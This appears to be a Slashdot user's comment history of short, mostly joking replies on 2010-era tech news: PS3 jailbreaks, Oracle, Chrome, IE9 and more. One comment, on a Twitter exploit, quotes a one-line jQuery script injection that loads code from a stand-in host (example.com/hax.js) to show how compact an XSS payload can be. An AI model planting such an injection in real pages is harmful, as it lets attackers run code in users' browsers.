  1. Re:I Don't Understand Why... on Sony Lawsuits Target PS3 Jailbreak Authors · · Score: 5, Funny

    And would want to listen to the contents of Sony music CDs instead of putting them in a blender.

  2. Re:The Google lawsuit on Father of Java, James Gosling Unloads · · Score: 2

    With Oracle it doesn't have to make sense, it just has to make money.

    That quote describes most of their software!

  3. Re:Does anyone care either way? on Digital Radio Mondiale, a Better Standard Than US-Adopted IBOC? · · Score: 1

    And yet still I can count the number of people I personally know who own DAB radios on the finger of ... well, one finger, actually.

    That's because pretty much every DAB station available is also broadcast via DVB networks. There's no point buying an extra radio when it can be had through the TV box already.

  4. Re:Why not boycott PS3s on PS3 Hacked Using Official Controller · · Score: 3, Insightful

    Don't point the finger at them. They are the victims of bait-and-switch fraud by Sony, after all.

  5. Re:And by Moore's Law... on IBM Demos Single-Atom DRAM · · Score: 1

    And then we'll store the entire planet's data in an office desk drawer somewhere.

    2 weeks later we will find out the hard way that no-one made any backups.

  6. Re:Hrm on First Installment of Xiph.org's 'Digital Video Primer For Geeks' · · Score: 1

    Episode IV? But that would imply there were three episodes before it, which is wrong.

  7. Re:From TFA... on Aussie Student Responsible For Twitter Exploit · · Score: 1

    Ah, so the 140-character limit is actually beneficial in some sense!

    On most "web 2.0" sites this is counteracted by JS libraries enabling 1/2-character abbreviations for excessively powerful code, allowing attackers to squeeze in things along the lines of:
    $(this).append($('<script src=//example.com/hax.js>'))

  8. Re:About time... on AMD One-Ups Intel With Cheap Desktop Chips · · Score: 1

    I bought an X3 (now an X4) just over a year ago. It's not the fastest thing in the world, but for encoding videos/compiling code it's more than good enough for me. Also it runs cool enough that you can safely run it with the stock fan powered off for average desktop use.

  9. Re:Passed by as a /High Definition/ format? on Xbox Head Proclaims Blu-ray Dead · · Score: 1

    Enjoy downloading your high resolution but blocky and fuzzy mess.

    Thanks! I do.

    Blu-Ray owners, on the other hand, seem quite bitter.

  10. Re:XP on DX11 Coming To Linux (But Not XP) · · Score: 1

    When Windows XP stops being the most used Windows OS.

  11. Re:Tau Day on Nicholas Sze of Yahoo Finds Two-Quadrillionth Digit of Pi · · Score: 1

    It's sad that that site puts so much effort into ignoring MathML.

  12. Re:Soundly Trounces EEE 701 on Samsung's Galaxy Tab Android Tablet Now Official · · Score: 1

    Have you ever *used* the 701's keyboard? It's horrible for pretty much any extended use. The slightly larger later models are a million times better.

  13. Re:Going Down Like Tobacco on High Fructose Corn Syrup To Get a Makeover · · Score: 1

    Global conspiracy?

    You must be one of the 87% of Americans who can't find their own country on a world map.

  14. Re:What is your name? What is your quest? on Race Pits Pigeons Against Poor UK Rural Broadband · · Score: 1

    140 characters, but they're mostly noise.

  15. In other news... on IE9 Team Says "Our GPU Acceleration Is Better Than Yours" · · Score: 4, Informative

    IE9 cheats on popular benchmarks (scroll to the bottom). And they still come second-to-last.

  16. Re:Way to out yourself, spook. on WikiLeaks Calls For Assange To Step Down · · Score: 1

    The facts can wait until the trial. Until then the OP can make all the assertions he wants, because this guy is still innocent by the standards of any civilised part of the world.

  17. Re:That's a lot of model names on NVIDIA Announces New Line of Fermi-Based Mobile Chips · · Score: 1

    An Intel GPU outperforming a same-gen Radeon? Holy crap, did I wake up in an alternate universe today?

  18. Re:Flickery Display using S-Video under Intel i945 on Ubuntu 10.10 Beta Released · · Score: 1
  19. Re:WTF, these passwords are stored in the clear on Google Releases Chrome 6, Pays $4337 In Bounties · · Score: 1

    They should've done like mozilla and stored them in Mork format, nobody would be able to read them then

  20. Re:Version bloat on Google Releases Chrome 6, Pays $4337 In Bounties · · Score: 1

    1 - 2 - 3 - 4 - 5 - 6 is a lot more sensible than 1.0 - 1.5 - 2.0 - 3.0 - 3.5 - 3.6 - 4.0.

  21. Re:Thanks a lot, Jackass on Armed Man Takes Hostages At Discovery Channel HQ · · Score: 1

    Considering that Yellowstone is theorised to be near its next eruption, I'm all in favour of packing its top with as many greedy assholes as possible.

  22. Re:Finally ... on Google Confirms Chrome GPU Acceleration · · Score: 1

    ...and then has the arrogance to censor people who call them out on their bigotry!

    How's rock bottom going, guys?

  23. NIH on NIH Orders Halt To Embryonic Stem Cell Research · · Score: 1

    Not Invented Here

  24. Thanks, Apple. on New QuickTime Flaw Bypasses ASLR, DEP · · Score: 1

    Thapple.

  25. Re:Finally ... on Google Confirms Chrome GPU Acceleration · · Score: -1, Flamebait
